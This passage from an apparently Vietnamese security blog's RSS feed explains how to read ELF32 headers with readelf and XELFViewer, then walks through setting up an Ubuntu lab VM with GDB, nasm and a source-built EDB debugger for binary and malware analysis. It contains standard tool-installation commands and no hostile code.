  Elf32_Word    sh_type;                /* Section type */
  Elf32_Word    sh_flags;               /* Section flags */
  Elf32_Addr    sh_addr;                /* Section virtual addr at execution */
  Elf32_Off     sh_offset;              /* Section file offset */
  Elf32_Word    sh_size;                /* Section size in bytes */
  Elf32_Word    sh_link;                /* Link to another section */
  Elf32_Word    sh_info;                /* Additional section information */
  Elf32_Word    sh_addralign;           /* Section alignment */
  Elf32_Word    sh_entsize;             /* Entry size if section holds table */
} Elf32_Shdr;</code></pre>
</details>

<h3>5.2. Trích xuất Metadata trong ELF32</h3>
<p>Phần này giới thiệu một số công cụ nguồn mở, miễn phí và ưu tiên có sẵn trên Linux vì chúng ta đang tập chung phân tích các tệp ELF32:</p>
<details>
<summary><a target="_blank" rel="noopener noreferrer nofollow" class="text-primary underline underline-offset-2 hover:text-primary/80 cursor-pointer" href="https://man7.org/linux/man-pages/man1/readelf.1.html" style="pointer-events:none"><strong>READELF</strong></a>: Công cụ dòng lệnh (CLI), có sẵn trên Linux, hiển thị rất nhiều thông tin về một tệp ELF</summary>
<details class="editor-details"><summary class="details-summary"><strong>Một số option hữu ích</strong></summary><div data-type="details-content" class="details-content"><ul><li><p><code>[-h|--file-header]</code>: Hiển thị ELF header</p></li><li><p><code>[-l|--program-headers|--segments]</code>: Hiển thị Segment headers (Program header)</p></li><li><p><code>[-S|--sections|--section-headers]</code>: Hiển thị Section header</p></li><li><p><code>[-e|--headers]</code>: Kết hợp của: <code>-h -l -S</code></p></li><li><p><code>[-s|--symbols|--syms]</code>: Hiển thị Symbol section</p></li><li><p><code>[-d|--dynamic]</code>: Hiển thị Dynamic section</p></li><li><p><code>[-a|--all]</code>: Hiển thị tất cả thông tin, là kết hợp của: <code>-h -l -S -s -r -d -V -A -I</code></p></li><li><p><code>[-x &lt;number or name&gt;|--hex-dump=&lt;number or name&gt;]</code>: Dump hex của một Section</p></li><li><p><code>[-p &lt;number or name&gt;|--string-dump=&lt;number or name&gt;]</code>: Dump string của một Section</p></li><li><p><code>[-W|--wide]</code>: Làm cho output không bị ngắt khi vượt quá 80 ký tự.</p></li></ul></div></details><details class="editor-details"><summary class="details-summary"><strong>Show ELF header</strong>: Chứa các thông tin cơ bản</summary><div data-type="details-content" class="details-content"><img class="rounded-lg max-w-full h-auto" src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/b3eb845e-47da-408b-829a-2f71bbbb0705.png" /></div></details><details class="editor-details"><summary class="details-summary"><strong>Show Program header</strong></summary><div data-type="details-content" class="details-content"><img class="rounded-lg max-w-full h-auto" src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/09c35c80-fcfc-4ae3-96a5-d17ec4991111.png" /></div></details><details class="editor-details"><summary class="details-summary"><strong>Show Section header</strong>: Chú ý section <code>.text</code> được gắn Flag là: <code>X</code></summary><div data-type="details-content" class="details-content"><img class="rounded-lg max-w-full h-auto" src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/7dd32918-935d-43a7-97f9-756f9cb3ffcd.png" /></div></details><details class="editor-details"><summary class="details-summary"><strong>Show Symbol Table</strong>: Bảng này cho biết các biến, các hàm mà chương trình sử dụng</summary><div data-type="details-content" class="details-content"><img class="rounded-lg max-w-full h-auto" src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/3395602a-cd58-4f30-b313-0b9680d693b6.png" /></div></details><details class="editor-details"><summary class="details-summary"><strong>Dump Strings một Section</strong>: dùng <code>-p</code></summary><div data-type="details-content" class="details-content"><img class="rounded-lg max-w-full h-auto" src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/72bbe832-4381-4b5c-8f71-c6075652ae5c.png" /></div></details><details class="editor-details"><summary class="details-summary"><strong>Dump một Section</strong>: dùng <code>-R</code> hoặc <code>-x</code> đều có thể dump được</summary><div data-type="details-content" class="details-content"><img class="rounded-lg max-w-full h-auto" src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/d2b426cb-ee24-46bb-9504-7a7672f52bc6.png" /></div></details>
</details><details>
<summary><a target="_self" rel="noopener noreferrer nofollow" class="text-primary underline underline-offset-2 hover:text-primary/80 cursor-pointer" href="https://github.com/horsicq/XELFViewer" style="pointer-events:none"><strong>XELFViewer</strong></a>: Công cụ giao diện đồ họa (GUI), hỗ trợ đa nền tảng (Windows, Linux, macOS), dễ sử dụng.</summary>
<details class="editor-details"><summary class="details-summary"><strong>Thông tin thêm về công cụ</strong></summary><div data-type="details-content" class="details-content"><ul><li><p>Tác giả của XELFViewer là NTInfo, cũng là tác giả nhiều công cụ nổi tiếng khác như: Detect It Easy (DiE), XAPKDetector, XVolkolak, XOpcodeCalc, Nauz File Detector(NFD), x64dbg Plugin Manager,.v.v..</p></li></ul></div></details><details class="editor-details"><summary class="details-summary"><strong>ELF Header</strong></summary><div data-type="details-content" class="details-content"><img class="rounded-lg max-w-full h-auto" src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/e724a5e1-46c2-4285-af7e-292ed1dfcd74.png" /></div></details><details class="editor-details"><summary class="details-summary"><strong>Section Header</strong></summary><div data-type="details-content" class="details-content"><img class="rounded-lg max-w-full h-auto" src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/a897f4b6-5908-45ec-8ec9-67566902f9c2.png" /></div></details><details class="editor-details"><summary class="details-summary"><strong>Program Header</strong></summary><div data-type="details-content" class="details-content"><img class="rounded-lg max-w-full h-auto" src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/d5eca52f-d535-488d-ac9f-40bddc4cd974.png" /></div></details><details class="editor-details"><summary class="details-summary"><strong>Symbol Table</strong></summary><div data-type="details-content" class="details-content"><img class="rounded-lg max-w-full h-auto" src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/62e8d762-b5ea-4ebb-9c2d-e62681ee6ea4.png" /></div></details>
</details>]]></content:encoded></item><item><title><![CDATA[Binary 101: Environment setup]]></title><description><![CDATA[1. Chuẩn bị máy ảo
OSBoxes chuyên cung cấp các VM được dựng sẵn, có nhiều tùy chọn cho các Linux Distro khác nhau, tôi sử dụng Ubuntu cho Lab của mình.
2. Cài đặt các thư viện cần thiết
Thực hiện cập ]]></description><link>https://blog.lehonghai.com/binary-101-environment-setup</link><guid isPermaLink="true">https://blog.lehonghai.com/binary-101-environment-setup</guid><dc:creator><![CDATA[Hai Le Hong]]></dc:creator><pubDate>Mon, 22 Feb 2021 10:05:00 GMT</pubDate><content:encoded><![CDATA[<h2>1. Chuẩn bị máy ảo</h2>
<p><a href="https://www.osboxes.org/ubuntu/"><strong>OSBoxes</strong></a> chuyên cung cấp các VM được dựng sẵn, có nhiều tùy chọn cho các Linux Distro khác nhau, tôi sử dụng Ubuntu cho Lab của mình.</p>
<h2>2. Cài đặt các thư viện cần thiết</h2>
<p>Thực hiện cập nhật hệ thống và cài đặt các công cụ sau:</p>
<pre><code class="language-powershell">$ sudo apt update &amp;&amp; sudo apt upgrade -y
$ sudo apt install build-essential libemu-dev graphviz gdb python libgraphviz-dev cmake libboost-dev libqt5xmlpatterns5-dev qtbase5-dev qt5-default libqt5svg5-dev libcapstone-dev pkg-config hexedit nasm git libtool autoconf -y
</code></pre>
<p>Trong đó có một số công cụ (gói) quan trọng như:</p>
<ul>
<li><p><code>GDB</code>: Một debugger mạnh mẽ - Trùm cuối Debugger trên Linux.</p>
</li>
<li><p><code>HexEdit</code>: Một Hex Editor cũng "tạm được" trên Linux.</p>
</li>
<li><p><code>Nasm</code>: Netwide Assembler, một trình dịch cho Assembly trên Linux.</p>
</li>
<li><p><code>Qt Libs</code>: Là các thư viện cần thiết để biên dịch EDB - Một Debugger "đẹp trai" trên Linux. Các bài sau sẽ thực hành với cả GDB và EDB.</p>
</li>
</ul>
<h2>3. Cài đặt EDB Debugger</h2>
<p>Trước tiên hãy nói một chút về <strong>GNU Debugger (GDB)</strong>, nó là một công cụ debug rất mạnh và nổi tiếng trên Linux. Nó sử dụng giao diện dòng lệnh (CLI) nên có thể khó sử dụng với nhiều người. GDB cũng có thể sử dụng kèm với các Plugin như <a href="https://github.com/longld/peda">PEDA</a>, <a href="https://github.com/hugsy/gef">GEF</a> hoặc <a href="https://github.com/pwndbg/pwndbg">PWNDBG</a>. Các Plugin này được "giang hồ mạng" sử dụng rất nhiều và nó sẽ "giúp cuộc sống trở lên dễ dàng hơn!". Cài đặt các Plugin này cũng đơn giản, nếu muốn cài cả 3 thì xem <a href="https://infosecwriteups.com/pwndbg-gef-peda-one-for-all-and-all-for-one-714d71bf36b8">bài này</a> của Andreas Pogiatzis.</p>
<p>Có một công cụ khác với chức năng tương tự <strong>GDB</strong> nhưng có giao diện đồ họa và đi kèm với nhiều Plugins hỗ trợ trong quá trình phân tích đó là <strong>Evan Teran's EDB Debugger (EDB)</strong>. EDB được ví như là <strong>OllyDbg</strong> cho Linux. Hiện tại EDB đã có phiên bản <strong>v1.3.0</strong> (thời điểm viết bài), tuy nhiên môi trường tôi đang sử dụng ở đây là <strong>Ubuntu 16.04 LTS</strong>, một số thư viện đã cũ và không còn tương thích. Để khắc phục vấn đề này tôi sẽ sử dụng <strong>EDB v1.1.0</strong>. Bạn đọc nếu sử dụng phiên bản Ubuntu mới hơn thì cứ EDB bản mới nhất mà cài. Tiến hành clone source và biên dịch EDB như sau:</p>
<pre><code class="language-powershell">$ cd ~/bac
$ git clone --recursive https://github.com/eteran/edb-debugger.git --branch 1.1.0
$ cd ~/bac/edb-debugger
$ mkdir build
$ cd build
$ cmake ..
$ make
</code></pre>
<p>Quá trình này sẽ biên dịch EDB và các Plugins đi kèm, sau khi biên dịch thì bộ công cụ của chúng ta sẽ nằm trong thư mục <code>build</code>, bây giờ hãy tạo một Symbolic link:</p>
<pre><code class="language-powershell">$ sudo ln -s ~/bac/edb-debugger/build/edb /usr/local/bin/
</code></pre>
<p>Khởi chạy công cụ và đây là giao diện:</p>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/6d272463-02d4-4c10-b641-e3951815f620.png" alt="" style="display:block;margin:0 auto" />

<p>Sau khi hoàn tất các bước trên, hãy snapshot lại máy ảo. Bước này quan trọng vì trong quá trình phân tích các chương trình độc hại đôi khi ta cần quay lại trạng thái "sạch" của máy ảo phân tích.</p>
]]></content:encoded></item></channel></rss>